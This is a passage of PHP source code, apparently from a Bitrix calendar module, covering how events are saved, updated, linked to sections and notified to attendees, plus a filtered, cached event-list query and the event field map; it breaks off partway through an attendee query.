						'name' => $entryFields['NAME'],
						'persons' => count($attendees),
						'attendees' => $attendees,
						'bRecreateReserveMeetings' => $entryFields['LOCATION']['RE_RESERVE'] !== 'N'
					)
				);
			}
			else
			{
				$entryFields['LOCATION'] = CCalendar::GetTextLocation($entryFields['LOCATION']['NEW']);
			}

			if (!isset($entryFields['IS_MEETING']) &&
				isset($entryFields['ATTENDEES']) && is_array($entryFields['ATTENDEES']) && empty($entryFields['ATTENDEES']))
			{
				$entryFields['IS_MEETING'] = false;
			}

			if (is_array($entryFields['MEETING']))
			{
				$entryFields['~MEETING'] = $entryFields['MEETING'];
				$entryFields['MEETING']['REINVITE'] = false;
				$entryFields['MEETING'] = serialize($entryFields['MEETING']);
			}

			if ($entryFields['IS_MEETING'])
			{
				if (!$isNewEvent && $entryFields['PARENT_ID'] != $eventId)
				{
					$entryChanges = self::CheckEntryChanges($entryFields, $currentEvent);
					$significantChanges = count($entryChanges) > 0;
				}

				$attendeesCodes = $entryFields['ATTENDEES_CODES'];
				if (is_array($entryFields['ATTENDEES_CODES']) && !empty($entryFields['ATTENDEES_CODES']))
				{
					$entryFields['ATTENDEES_CODES'] = implode(',', $entryFields['ATTENDEES_CODES']);
				}

				if (!isset($entryFields['MEETING_STATUS']) && $entryFields['MEETING_HOST'] == $entryFields['CREATED_BY'])
				{
					$entryFields['MEETING_STATUS'] = 'H';
				}
			}

			if (is_array($entryFields['RELATIONS']))
			{
				$entryFields['~RELATIONS'] = $entryFields['RELATIONS'];
				$entryFields['RELATIONS'] = serialize($entryFields['RELATIONS']);
			}

			$arReminders = array();
			if (isset($entryFields['REMIND']))
			{
				if (is_array($entryFields['REMIND']))
				{
					foreach($entryFields['REMIND'] as $remind)
					{
						if(is_array($remind) && isset($remind['type']) && in_array($remind['type'], array('min', 'hour', 'day')))
						{
							$arReminders[] = array('type' => $remind['type'], 'count' => floatVal($remind['count']));
						}
					}
				}
			}
			elseif($currentEvent['REMIND'])
			{
				$arReminders = $currentEvent['REMIND'];
			}
			$entryFields['REMIND'] = count($arReminders) > 0 ? serialize($arReminders) : '';

			$AllFields = self::GetFields();
			$dbFields = array();
			foreach($entryFields as $field => $val)
			{
				if(isset($AllFields[$field]) && $field != "ID")
				{
					$dbFields[$field] = $entryFields[$field];
				}
			}
			CTimeZone::Disable();

			if ($isNewEvent) // Add
			{
				$eventId = $DB->Add("b_calendar_event", $dbFields, array('DESCRIPTION', 'MEETING', 'EXDATE'));
			}
			else // Update
			{
				$eventId = $entryFields['ID'];
				$strUpdate = $DB->PrepareUpdate("b_calendar_event", $dbFields);
				$strSql =
					"UPDATE b_calendar_event SET ".
						$strUpdate.
						" WHERE ID=".IntVal($eventId);

				$DB->QueryBind($strSql, array(
					'DESCRIPTION' => $entryFields['DESCRIPTION'],
					'MEETING' => $entryFields['MEETING'],
					'EXDATE' => $entryFields['EXDATE']
				));
			}

			CTimeZone::Enable();

			if ($isNewEvent && !isset($dbFields['DAV_XML_ID']))
			{
				$strSql =
					"UPDATE b_calendar_event SET ".
						$DB->PrepareUpdate("b_calendar_event", array('DAV_XML_ID' => $eventId)).
						" WHERE ID=".IntVal($eventId);
				$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
			}

			// *** Check and update section links ***
			$sectionId = (is_array($entryFields['SECTIONS']) && $entryFields['SECTIONS'][0]) ? intVal($entryFields['SECTIONS'][0]) : false;

			if ($sectionId)
			{
				if (!$isNewEvent)
				{
					$arAffectedSections[] = $currentEvent['SECT_ID'];
				}
				self::ConnectEventToSection($eventId, $sectionId);
			}
			else
			{
				// It's new event we have to find section where to put it automatically
				if ($isNewEvent)
				{
					if ($entryFields['IS_MEETING'] && $entryFields['PARENT_ID'] && $entryFields['CAL_TYPE'] == 'user')
					{
						$sectionId = CCalendar::GetMeetingSection($entryFields['OWNER_ID']);
					}
					else
					{
						$sectionId = CCalendarSect::GetLastUsedSection($entryFields['CAL_TYPE'], $entryFields['OWNER_ID'], $userId);
					}

					if ($sectionId)
					{
						$res = CCalendarSect::GetList(array('arFilter' => array('CAL_TYPE' => $entryFields['CAL_TYPE'],'OWNER_ID' => $entryFields['OWNER_ID'], 'ID'=> $sectionId)));
						if (!$res || !$res[0])
						{
							$sectionId = false;
						}
					}
					else
					{
						$sectionId = false;
					}

					if (!$sectionId)
					{
						$sectRes = CCalendarSect::GetSectionForOwner($entryFields['CAL_TYPE'], $entryFields['OWNER_ID'], true);
						$sectionId = $sectRes['sectionId'];
					}
					self::ConnectEventToSection($eventId, $sectionId);
				}
				else
				{
					// It's existing event, we take it's section to update modification lables (no db changes in b_calendar_event_sect)
					$sectionId = $currentEvent['SECT_ID'];
				}
			}
			$arAffectedSections[] = $sectionId;

			if (count($arAffectedSections) > 0)
				CCalendarSect::UpdateModificationLabel($arAffectedSections);

			if ($entryFields['IS_MEETING'] || (!$isNewEvent && $currentEvent['IS_MEETING']))
			{
				if (!$entryFields['PARENT_ID'])
				{
					$DB->Query("UPDATE b_calendar_event SET ".$DB->PrepareUpdate("b_calendar_event", array("PARENT_ID" => $eventId))." WHERE ID=".intVal($eventId), false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);
				}

				if (!$entryFields['PARENT_ID'] || $entryFields['PARENT_ID'] == $eventId)
				{
					self::CreateChildEvents($eventId, $entryFields, $params);
				}

				if (!$entryFields['PARENT_ID'])
				{
					$entryFields['PARENT_ID'] = intVal($eventId);
				}
			}
			else
			{
				if (($isNewEvent && !$entryFields['PARENT_ID']) || (!$isNewEvent && !$currentEvent['PARENT_ID']))
				{
					$DB->Query("UPDATE b_calendar_event SET ".$DB->PrepareUpdate("b_calendar_event", array("PARENT_ID" => $eventId))." WHERE ID=".intVal($eventId), false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);
					if (!$entryFields['PARENT_ID'])
					{
						$entryFields['PARENT_ID'] = intVal($eventId);
					}
				}

				if (Loader::includeModule("pull"))
				{
					$curUserId = $userId;
					if ($entryFields['PARENT_ID'] && $entryFields['PARENT_ID'] !== $entryFields['ID'])
					{
						$curUserId = $entryFields['OWNER_ID'];
					}

					\Bitrix\Pull\Event::add($curUserId, Array(
						'module_id' => 'calendar',
						'command' => 'event_update',
						'params' => array(
							'EVENT' => CCalendarEvent::OnPullPrepareArFields($entryFields),
							'ATTENDEES' => array(),
							'NEW' => $isNewEvent ? 'Y' : 'N'
						)
					));
				}
			}

			// Clean old reminders and add new reminders
			if ($entryFields["CAL_TYPE"] != 'user' ||
				$entryFields['OWNER_ID'] != $userId ||
				$eventId == $entryFields['PARENT_ID'])
			{
				CCalendarReminder::UpdateReminders(
					array(
						'id' => $eventId,
						'reminders' => $arReminders,
						'arFields' => $entryFields,
						'userId' => $userId,
						'path' => $path,
						'bNew' => $isNewEvent
					)
				);
			}

			// Update search index
			self::updateSearchIndex($eventId);

			// Send invitations and notifications
			if ($entryFields['IS_MEETING'])
			{
				$fromTo = CCalendarEvent::GetEventFromToForUser($entryFields, $entryFields['OWNER_ID']);
				$nowUtc = time() - date('Z', time());

				// If it's event in the past we skipping notifications.
				// The past is the past...
				if ($entryFields['DATE_TO_TS_UTC'] > $nowUtc)
				{
					if ($params['saveAttendeesStatus'] && $sendEditNotification)
					{
						if ($entryFields['PARENT_ID'] != $eventId &&
							$entryFields['MEETING_STATUS'] == "Y" &&
							$significantChanges)
						{
							$CACHE_MANAGER->ClearByTag('calendar_user_'.$entryFields['OWNER_ID']);
							$fromTo = CCalendarEvent::GetEventFromToForUser($entryFields, $entryFields['OWNER_ID']);
							CCalendarNotify::Send(array(
								'mode' => 'change_notify',
								'name' => $entryFields['NAME'],
								"from" => $fromTo['DATE_FROM'],
								"to" => $fromTo['DATE_TO'],
								"location" => CCalendar::GetTextLocation($entryFields["LOCATION"]),
								"guestId" => $entryFields['OWNER_ID'],
								"eventId" => $entryFields['PARENT_ID'],
								"userId" => $userId,
								"fields" => $entryFields,
								"entryChanges" => $entryChanges
							));
						}
					}
					elseif ($sendInvitations && $entryFields['PARENT_ID'] != $eventId && $entryFields['MEETING_STATUS'] == 'Q')
					{
						$CACHE_MANAGER->ClearByTag('calendar_user_'.$entryFields['OWNER_ID']);
						$fromTo = CCalendarEvent::GetEventFromToForUser($entryFields, $entryFields['OWNER_ID']);
						CCalendarNotify::Send(array(
							"mode" => 'invite',
							"name" => $entryFields['NAME'],
							"from" => $fromTo['DATE_FROM'],
							"to" => $fromTo['DATE_TO'],
							"location" => CCalendar::GetTextLocation($entryFields["LOCATION"]),
							"guestId" => $entryFields['OWNER_ID'],
							"eventId" => $entryFields['PARENT_ID'],
							"userId" => $userId,
							"fields" => $entryFields
						));
					}
					elseif ($sendEditNotification)
					{
						if ($entryFields['PARENT_ID'] != $eventId && $entryFields['MEETING_STATUS'] == "Y" && $significantChanges)
						{
							$CACHE_MANAGER->ClearByTag('calendar_user_'.$entryFields['OWNER_ID']);
							$fromTo = CCalendarEvent::GetEventFromToForUser($entryFields, $entryFields['OWNER_ID']);
							CCalendarNotify::Send(array(
								'mode' => 'change_notify',
								'name' => $entryFields['NAME'],
								"from" => $fromTo['DATE_FROM'],
								"to" => $fromTo['DATE_TO'],
								"location" => CCalendar::GetTextLocation($entryFields["LOCATION"]),
								"guestId" => $entryFields['OWNER_ID'],
								"eventId" => $entryFields['PARENT_ID'],
								"userId" => $userId,
								"fields" => $entryFields,
								"entryChanges" => $entryChanges
							));
						}
					}
				}
			}

			if ($entryFields['IS_MEETING'] && !empty($entryFields['ATTENDEES_CODES']) && $entryFields['PARENT_ID'] == $eventId)
			{
				CCalendarLiveFeed::OnEditCalendarEventEntry(array(
					'eventId' => $eventId,
					'arFields' => $entryFields,
					'attendeesCodes' => $attendeesCodes
				));
			}

			CCalendar::ClearCache('event_list');

			$result = $eventId;
		}

		if ($isNewEvent)
		{
			foreach(\Bitrix\Main\EventManager::getInstance()->findEventHandlers("calendar", "OnAfterCalendarEntryAdd") as $event)
			{
				ExecuteModuleEventEx($event, array('id' => $eventId,'entryFields' => $entryFields));
			}
		}
		else
		{
			foreach(\Bitrix\Main\EventManager::getInstance()->findEventHandlers("calendar", "OnAfterCalendarEntryUpdate") as $event)
			{
				ExecuteModuleEventEx($event, array('id' => $eventId,'entryFields' => $entryFields));
			}
		}

		return $result;
	}

	public static function GetById($ID, $checkPermissions = true)
	{
		if ($ID > 0)
		{
			$Event = CCalendarEvent::GetList(
				array(
					'arFilter' => array(
						"ID" => $ID,
						"DELETED" => "N"
					),
					'parseRecursion' => false,
					'fetchAttendees' => $checkPermissions,
					'checkPermissions' => $checkPermissions,
					'setDefaultLimit' => false
				)
			);
			if ($Event && is_array($Event[0]))
				return $Event[0];
		}
		return false;
	}

	public static function GetList($params = array())
	{
		global $DB, $USER_FIELD_MANAGER;
		$getUF = $params['getUserfields'] !== false;
		$checkPermissions = $params['checkPermissions'] !== false;
		$bCache = CCalendar::CacheTime() > 0;
		$params['setDefaultLimit'] = $params['setDefaultLimit'] === true;
		$userId = isset($params['userId']) ? intVal($params['userId']) : CCalendar::GetCurUserId();
		$params['parseDescription'] = isset($params['parseDescription']) ? $params['parseDescription'] : true;
		$fetchSection = $params['fetchSection'];
		$attendees = array();
		$result = null;

		CTimeZone::Disable();
		if($bCache)
		{
			$cache = new CPHPCache;
			$cacheId = 'event_list_'.md5(serialize($params));
			if ($checkPermissions)
				$cacheId .= 'chper'.CCalendar::GetCurUserId().'|';
			if (CCalendar::IsSocNet() && CCalendar::IsSocnetAdmin())
				$cacheId .= 'socnetAdmin|';
			$cacheId .= CCalendar::GetOffset();
			$cachePath = CCalendar::CachePath().'event_list';

			if ($cache->InitCache(CCalendar::CacheTime(), $cacheId, $cachePath))
			{
				$res = self::PrepareFromCache($cache->GetVars());
				$result = $res["result"];
				$attendees = $res["attendees"];
			}
		}

		if (!$bCache || !isset($result))
		{
			$arFilter = $params['arFilter'];
			if ($getUF)
			{
				$obUserFieldsSql = new CUserTypeSQL();
				$obUserFieldsSql->SetEntity("CALENDAR_EVENT", "CE.ID");
				$obUserFieldsSql->SetSelect(array("UF_*"));
				$obUserFieldsSql->SetFilter($arFilter);
			}

			$params['fetchAttendees'] = $params['fetchAttendees'] !== false;

			if ($params['setDefaultLimit'] !== false) // Deprecated
			{
				if (!isset($arFilter["FROM_LIMIT"])) // default 3 month back
					$arFilter["FROM_LIMIT"] = CCalendar::Date(time() - 31 * 3 * 24 * 3600, false);

				if (!isset($arFilter["TO_LIMIT"])) // default one year into the future
					$arFilter["TO_LIMIT"] = CCalendar::Date(time() + 365 * 24 * 3600, false);
			}

			// Array('ID' => 'asc')
			$arOrder = isset($params['arOrder']) ? $params['arOrder'] : Array();
			$arFields = self::GetFields();

			if ($arFilter["DELETED"] === false)
				unset($arFilter["DELETED"]);
			elseif (!isset($arFilter["DELETED"]))
				$arFilter["DELETED"] = "N";

			$join = '';

			$arSqlSearch = array();
			if(is_array($arFilter))
			{
				$filter_keys = array_keys($arFilter);
				for($i = 0, $l = count($filter_keys); $i<$l; $i++)
				{
					$n = strtoupper($filter_keys[$i]);
					$val = $arFilter[$filter_keys[$i]];
					if(is_string($val) && strlen($val) <=0 || strval($val) == "NOT_REF")
						continue;

					if($n == 'FROM_LIMIT')
					{
						$ts = CCalendar::Timestamp($val, false);
						if ($ts > 0)
							$arSqlSearch[] = "CE.DATE_TO_TS_UTC>=".$ts;
					}
					elseif($n == 'TO_LIMIT')
					{
						$ts = CCalendar::Timestamp($val, false);
						if ($ts > 0)
							$arSqlSearch[] = "CE.DATE_FROM_TS_UTC<=".($ts + 86399);
					}
					elseif($n == 'ID')
					{
						if(is_array($val))
						{
							$val = array_map('intval', $val);
							$arSqlSearch[] = 'CE.ID IN (\''.implode('\',\'', $val).'\')';
						}
						else if (intVal($val) > 0)
						{
							$arSqlSearch[] = "CE.ID=".intVal($val);
						}
					}
					elseif($n == '>ID' && intVal($val) > 0)
					{
						$arSqlSearch[] = "CE.ID > ".intVal($val);
					}
					elseif($n == 'OWNER_ID')
					{
						if(is_array($val))
						{
							$val = array_map('intval', $val);
							$arSqlSearch[] = 'CE.OWNER_ID IN (\''.implode('\',\'', $val).'\')';
						}
						else if (intVal($val) > 0)
						{
							$arSqlSearch[] = "CE.OWNER_ID=".intVal($val);
						}
					}
					elseif($n == 'MEETING_HOST')
					{
						if(is_array($val))
						{
							$val = array_map('intval', $val);
							$arSqlSearch[] = 'CE.MEETING_HOST IN (\''.implode('\',\'', $val).'\')';
						}
						else if (intVal($val) > 0)
						{
							$arSqlSearch[] = "CE.MEETING_HOST=".intVal($val);
						}
					}
					elseif($n == 'NAME')
					{
						$arSqlSearch[] = "CE.NAME='".CDatabase::ForSql($val)."'";
					}
					elseif($n == 'CREATED_BY')
					{
						if(is_array($val))
						{
							$val = array_map('intval', $val);
							$arSqlSearch[] = 'CE.CREATED_BY IN (\''.implode('\',\'', $val).'\')';
						}
						else if (intVal($val) > 0)
						{
							$arSqlSearch[] = "CE.CREATED_BY=".intVal($val);
						}
					}
					elseif($n == 'SECTION')
					{
						if (!is_array($val))
							$val = array($val);

						$q = "";
						if (is_array($val))
						{
							$sval = '';
							foreach($val as $sectid)
								if (intVal($sectid) > 0)
									$sval .= intVal($sectid).',';
							$sval = trim($sval, ' ,');
							if ($sval != '')
								$q = 'CES.SECT_ID in ('.$sval.')';
						}

						if ($q != "")
							$arSqlSearch[] = $q;
					}
					elseif($n == 'ACTIVE_SECTION' && $val == "Y")
					{
						$arSqlSearch[] = "CS.ACTIVE='Y'";
						$join .= 'LEFT JOIN b_calendar_section CS ON (CES.SECT_ID=CS.ID)';
					}
					elseif($n == 'DAV_XML_ID' && is_array($val))
					{
						$val = array_map(array($DB, 'ForSQL'), $val);
						$arSqlSearch[] = 'CE.DAV_XML_ID IN (\''.implode('\',\'', $val).'\')';
					}
					elseif($n == 'DAV_XML_ID' && is_string($val))
					{
						$arSqlSearch[] = "CE.DAV_XML_ID='".CDatabase::ForSql($val)."'";
					}
					elseif($n == '*SEARCHABLE_CONTENT') // Full text index match
					{
						$sqlWhere = new CSQLWhere();
						$arSqlSearch[] = $sqlWhere->match('SEARCHABLE_CONTENT', $val, true);
					}
					elseif($n == '*%SEARCHABLE_CONTENT') // partial full text match based on LIKE
					{
						$sqlWhere = new CSQLWhere();
						$arSqlSearch[] = $sqlWhere->matchLike('SEARCHABLE_CONTENT', $val);
					}
					elseif(isset($arFields[$n]))
					{
						$arSqlSearch[] = GetFilterQuery($arFields[$n]["FIELD_NAME"], $val, 'N');
					}
				}
			}

			if ($getUF)
			{
				$r = $obUserFieldsSql->GetFilter();
				if (strlen($r) > 0)
				{
					$arSqlSearch[] = "(".$r.")";
				}
			}

			$selectList = "";
			foreach($arFields as $field)
			{
				$selectList .= $field['FIELD_NAME'].", ";
			}

			if ($fetchSection && $arFilter['ACTIVE_SECTION'] == 'Y')
			{
				$selectList .= "CS.CAL_DAV_CAL as SECTION_DAV_XML_ID,";
			}

			$strSqlSearch = GetFilterSqlSearch($arSqlSearch);
			$strOrderBy = '';
			foreach($arOrder as $by=>$order)
			{
				if(isset($arFields[strtoupper($by)]))
				{
					$strOrderBy .= $arFields[strtoupper($by)]["FIELD_NAME"].' '.(strtolower($order)=='desc'?'desc'.(strtoupper($DB->type) == "ORACLE"?" NULLS LAST":""):'asc'.(strtoupper($DB->type)=="ORACLE"?" NULLS FIRST":"")).',';
				}
			}

			if(strlen($strOrderBy) > 0)
			{
				$strOrderBy = "ORDER BY ".rtrim($strOrderBy, ",");
			}

			$strLimit = '';
			if (isset($params['limit']) && intVal($params['limit']) > 0)
			{
				$strLimit = 'LIMIT '.intVal($params['limit']);
			}

			$strSql = "
				SELECT ".
					$selectList.
					"CES.SECT_ID, CES.REL
					".($getUF ? $obUserFieldsSql->GetSelect() : '')."
				FROM
					b_calendar_event CE
				LEFT JOIN b_calendar_event_sect CES ON (CE.ID=CES.EVENT_ID)
				".$join."
				".($getUF ? $obUserFieldsSql->GetJoin("CE.ID") : '')."
				WHERE
					$strSqlSearch
				$strOrderBy
				$strLimit";

			$res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
			if ($getUF)
			{
				$res->SetUserFields($USER_FIELD_MANAGER->GetUserFields("CALENDAR_EVENT"));
			}

			$result = Array();
			$arMeetingIds = array();
			$arEvents = array();
			$bIntranet = CCalendar::IsIntranetEnabled();

			$defaultMeetingSection = false;
			while($event = $res->Fetch())
			{
				$event['IS_MEETING'] = intVal($event['IS_MEETING']) > 0;

				if ($event['IS_MEETING'] && $event['CAL_TYPE'] == 'user' && $event['OWNER_ID'] == $userId && !$event['SECT_ID'])
				{
					if (!$defaultMeetingSection)
					{
						$defaultMeetingSection = CCalendar::GetMeetingSection($userId);
						if (!$defaultMeetingSection || !CCalendarSect::GetById($defaultMeetingSection, false))
						{
							$sectRes = CCalendarSect::GetSectionForOwner($event['CAL_TYPE'], $userId);
							$defaultMeetingSection = $sectRes['sectionId'];
						}
					}
					self::ConnectEventToSection($event['ID'], $defaultMeetingSection);
					$event['SECT_ID'] = $defaultMeetingSection;
				}

				$arEvents[] = $event;
				if ($bIntranet && $event['IS_MEETING'])
				{
					$arMeetingIds[] = $event['PARENT_ID'];
				}
			}

			if ($params['fetchAttendees'] && count($arMeetingIds) > 0)
				$attendees = self::GetAttendees($arMeetingIds);

			foreach($arEvents as $event)
			{
				$event["ACCESSIBILITY"] = trim($event["ACCESSIBILITY"]);
				if ($bIntranet && isset($event['MEETING']) && $event['MEETING'] != "")
				{
					$event['MEETING'] = unserialize($event['MEETING']);
					if (!is_array($event['MEETING']))
						$event['MEETING'] = array();
				}

				if (isset($event['RELATIONS']) && $event['RELATIONS'] != "")
				{
					$event['RELATIONS'] = unserialize($event['RELATIONS']);
					if (!is_array($event['RELATIONS']))
						$event['RELATIONS'] = array();
				}

				if (isset($event['REMIND']) && $event['REMIND'] != "")
				{
					$event['REMIND'] = unserialize($event['REMIND']);
					if (!is_array($event['REMIND']))
						$event['REMIND'] = array();
				}

				if ($bIntranet && $event['IS_MEETING'] && isset($attendees[$event['PARENT_ID']]) && count($attendees[$event['PARENT_ID']]) > 0)
				{
					$event['~ATTENDEES'] = $attendees[$event['PARENT_ID']];
				}

				if ($checkPermissions)
				{
					$checkPermissionsForEvent = $userId != $event['CREATED_BY']; // It's creator

					// It's event in user's calendar
					if($checkPermissionsForEvent && $event['CAL_TYPE'] == 'user' && $userId == $event['OWNER_ID'])
						$checkPermissionsForEvent = false;
					if($checkPermissionsForEvent && $event['IS_MEETING'] && $event['USER_MEETING'] && $event['USER_MEETING']['ATTENDEE_ID'] == $userId)
						$checkPermissionsForEvent = false;

					if($checkPermissionsForEvent && $event['IS_MEETING'] && is_array($event['~ATTENDEES']))
					{
						foreach($event['~ATTENDEES'] as $att)
						{
							if($att['USER_ID'] == $userId)
							{
								$checkPermissionsForEvent = false;
								break;
							}
						}
					}

					if($checkPermissionsForEvent)
					{
						$event = self::ApplyAccessRestrictions($event, $userId);
					}
				}

				if ($event !== false)
				{
					$event = self::PreHandleEvent($event, array('parseDescription' => $params['parseDescription']));

					if ($params['parseRecursion'] && self::CheckRecurcion($event))
					{
						self::ParseRecursion($result, $event, array(
							'fromLimit' => $arFilter["FROM_LIMIT"],
							'toLimit' => $arFilter["TO_LIMIT"],
							'loadLimit' => $params["limit"],
							'instanceCount' => isset($params['maxInstanceCount']) ? $params['maxInstanceCount'] : false,
							'preciseLimits' => isset($params['preciseLimits']) ? $params['preciseLimits'] : false
						));
					}
					else
					{
						self::HandleEvent($result, $event);
					}
				}
			}

			if ($bCache)
			{
				$cache->StartDataCache(CCalendar::CacheTime(), $cacheId, $cachePath);
				$cache->EndDataCache(self::PrepareForCache(array(
					"result" => $result,
					"attendees" => $attendees
				)));
			}
		}

		CTimeZone::Enable();

		if (!is_array(self::$lastAttendeesList))
		{
			self::$lastAttendeesList = $attendees;
		}
		elseif(is_array($attendees))
		{
			foreach($attendees as $eventId => $att)
				self::$lastAttendeesList[$eventId] = $att;
		}

		return $result;
	}

	private static function PrepareFromCache($data = array())
	{
		if (is_array($data['result']))
		{
			foreach ($data['result'] as $i => $event)
			{
				if ($event['IS_MEETING'] && is_array($event['~ATTENDEES']))
				{
					foreach ($event['~ATTENDEES'] as $j => $attender)
					{
						$tmp = $attender['STATUS'];
						$data['result'][$i]['~ATTENDEES'][$j] = $data['users'][$attender['USER_ID']];
						$data['result'][$i]['~ATTENDEES'][$j]['STATUS'] = $attender['STATUS'];
					}
				}
			}
		}

		if (is_array($data['attendees']))
		{
			foreach($data['attendees'] as $eventId => $att)
			{
				foreach ($att as $j => $at)
				{
					$data['attendees'][$eventId][$j] = $data['users'][$at['USER_ID']];
					$data['attendees'][$eventId][$j]['STATUS'] = $at['STATUS'];
				}
			}
		}
		unset($data['users']);
		return $data;
	}

	private static function PrepareForCache($data = array())
	{
		$data['users'] = array();

		if (is_array($data['result']))
		{
			foreach ($data['result'] as $i => $event)
			{
				if ($event['IS_MEETING'] && is_array($event['~ATTENDEES']))
				{
					foreach ($event['~ATTENDEES'] as $j => $user)
					{
						$data['result'][$i]['~ATTENDEES'][$j] = array(
							'USER_ID' => $user['USER_ID'],
							'STATUS' => $user['STATUS']
						);

						unset($user['STATUS']);
						//if (!array_key_exists($user['USER_ID'], $data['users']))
						$data['users'][$user['USER_ID']] = $user;
					}
				}
			}
		}

		if (is_array($data['attendees']))
		{
			foreach($data['attendees'] as $eventId => $att)
			{
				foreach ($att as $j => $user)
				{
					$data['attendees'][$eventId][$j] = array(
						'USER_ID' => $user['USER_ID'],
						'STATUS' => $user['STATUS']
					);

					unset($user['STATUS']);
					//if (!array_key_exists($user['USER_ID'], $data['users']))
					$data['users'][$user['USER_ID']] = $user;
				}
			}
		}

		return $data;
	}

	private static function GetFields()
	{
		global $DB;
		if (!count(self::$fields))
		{
			CTimeZone::Disable();
			self::$fields = array(
				"ID" => Array("FIELD_NAME" => "CE.ID", "FIELD_TYPE" => "int"),
				"PARENT_ID" => Array("FIELD_NAME" => "CE.PARENT_ID", "FIELD_TYPE" => "int"),
				"ACTIVE" => Array("FIELD_NAME" => "CE.ACTIVE", "FIELD_TYPE" => "string"),
				"DELETED" => Array("FIELD_NAME" => "CE.DELETED", "FIELD_TYPE" => "string"),
				"CAL_TYPE" => Array("FIELD_NAME" => "CE.CAL_TYPE", "FIELD_TYPE" => "string"),
				"OWNER_ID" => Array("FIELD_NAME" => "CE.OWNER_ID", "FIELD_TYPE" => "int"),
				"EVENT_TYPE" => Array("FIELD_NAME" => "CE.EVENT_TYPE", "FIELD_TYPE" => "string"),
				"CREATED_BY" => Array("FIELD_NAME" => "CE.CREATED_BY", "FIELD_TYPE" => "int"),
				"NAME" => Array("FIELD_NAME" => "CE.NAME", "FIELD_TYPE" => "string"),
				"DATE_FROM" => Array("FIELD_NAME" => $DB->DateToCharFunction("CE.DATE_FROM").' as DATE_FROM', "FIELD_TYPE" => "date"),
				"DATE_TO" => Array("FIELD_NAME" => $DB->DateToCharFunction("CE.DATE_TO").' as DATE_TO', "FIELD_TYPE" => "date"),
				"TZ_FROM" => Array("FIELD_NAME" => "CE.TZ_FROM", "FIELD_TYPE" => "string"),
				"TZ_TO" => Array("FIELD_NAME" => "CE.TZ_TO", "FIELD_TYPE" => "string"),
				"TZ_OFFSET_FROM" => Array("FIELD_NAME" => "CE.TZ_OFFSET_FROM", "FIELD_TYPE" => "int"),
				"TZ_OFFSET_TO" => Array("FIELD_NAME" => "CE.TZ_OFFSET_TO", "FIELD_TYPE" => "int"),
				"DATE_FROM_TS_UTC" => Array("FIELD_NAME" => "CE.DATE_FROM_TS_UTC", "FIELD_TYPE" => "int"),
				"DATE_TO_TS_UTC" => Array("FIELD_NAME" => "CE.DATE_TO_TS_UTC", "FIELD_TYPE" => "int"),

				"TIMESTAMP_X" => Array("FIELD_NAME" => $DB->DateToCharFunction("CE.TIMESTAMP_X").' as TIMESTAMP_X', "FIELD_TYPE" => "date"),
				"DATE_CREATE" => Array("FIELD_NAME" => $DB->DateToCharFunction("CE.DATE_CREATE").' as DATE_CREATE', "FIELD_TYPE" => "date"),
				"DESCRIPTION" => Array("FIELD_NAME" => "CE.DESCRIPTION", "FIELD_TYPE" => "string"),
				"DT_SKIP_TIME" => Array("FIELD_NAME" => "CE.DT_SKIP_TIME", "FIELD_TYPE" => "string"),
				"DT_LENGTH" => Array("FIELD_NAME" => "CE.DT_LENGTH", "FIELD_TYPE" => "int"),
				"PRIVATE_EVENT" => Array("FIELD_NAME" => "CE.PRIVATE_EVENT", "FIELD_TYPE" => "string"),
				"ACCESSIBILITY" => Array("FIELD_NAME" => "CE.ACCESSIBILITY", "FIELD_TYPE" => "string"),
				"IMPORTANCE" => Array("FIELD_NAME" => "CE.IMPORTANCE", "FIELD_TYPE" => "string"),
				"IS_MEETING" => Array("FIELD_NAME" => "CE.IS_MEETING", "FIELD_TYPE" => "string"),
				"MEETING_HOST" => Array("FIELD_NAME" => "CE.MEETING_HOST", "FIELD_TYPE" => "int"),
				"MEETING_STATUS" => Array("FIELD_NAME" => "CE.MEETING_STATUS", "FIELD_TYPE" => "string"),
				"MEETING" => Array("FIELD_NAME" => "CE.MEETING", "FIELD_TYPE" => "string"),
				"LOCATION" => Array("FIELD_NAME" => "CE.LOCATION", "FIELD_TYPE" => "string"),
				"REMIND" => Array("FIELD_NAME" => "CE.REMIND", "FIELD_TYPE" => "string"),
				"COLOR" => Array("FIELD_NAME" => "CE.COLOR", "FIELD_TYPE" => "string"),
				"TEXT_COLOR" => Array("FIELD_NAME" => "CE.TEXT_COLOR", "FIELD_TYPE" => "string"),
				"RRULE" => Array("FIELD_NAME" => "CE.RRULE", "FIELD_TYPE" => "string"),
				"EXDATE" => Array("FIELD_NAME" => "CE.EXDATE", "FIELD_TYPE" => "string"),
				"ATTENDEES_CODES" => Array("FIELD_NAME" => "CE.ATTENDEES_CODES", "FIELD_TYPE" => "string"),
				"DAV_XML_ID" => Array("FIELD_NAME" => "CE.DAV_XML_ID", "FIELD_TYPE" => "string"), //
				"DAV_EXCH_LABEL" => Array("FIELD_NAME" => "CE.DAV_EXCH_LABEL", "FIELD_TYPE" => "string"), // Exchange sync label
				"CAL_DAV_LABEL" => Array("FIELD_NAME" => "CE.CAL_DAV_LABEL", "FIELD_TYPE" => "string"), // CalDAV sync label
				"VERSION" => Array("FIELD_NAME" => "CE.VERSION", "FIELD_TYPE" => "string"), // Version used for outlook sync
				"RECURRENCE_ID" => Array("FIELD_NAME" => "CE.RECURRENCE_ID", "FIELD_TYPE" => "int"),
				"RELATIONS" => Array("FIELD_NAME" => "CE.RELATIONS", "FIELD_TYPE" => "int"),
				"SEARCHABLE_CONTENT" => Array("FIELD_NAME" => "CE.SEARCHABLE_CONTENT", "FIELD_TYPE" => "string")
			);
			CTimeZone::Enable();
		}
		return self::$fields;
	}

	public static function ConnectEventToSection($eventId, $sectionId)
	{
		global $DB;
		$DB->Query(
			"DELETE FROM b_calendar_event_sect WHERE EVENT_ID=".intVal($eventId),
			false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);

		$DB->Query(
			"INSERT INTO b_calendar_event_sect(EVENT_ID, SECT_ID) ".
			"SELECT ".intVal($eventId).", ID ".
			"FROM b_calendar_section ".
			"WHERE ID=".intVal($sectionId),
			false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);
	}

	public static function GetAttendees($eventIdList = array())
	{
		global $DB;
		$attendees = array();

		if (CCalendar::IsSocNet())
		{
			$eventIdList = is_array($eventIdList) ? array_map('intval', array_unique($eventIdList)) : array(intval($eventIdList));

			if(count($eventIdList))
			{
				$strSql = "
				SELECT
					CE.OWNER_ID AS USER_ID,
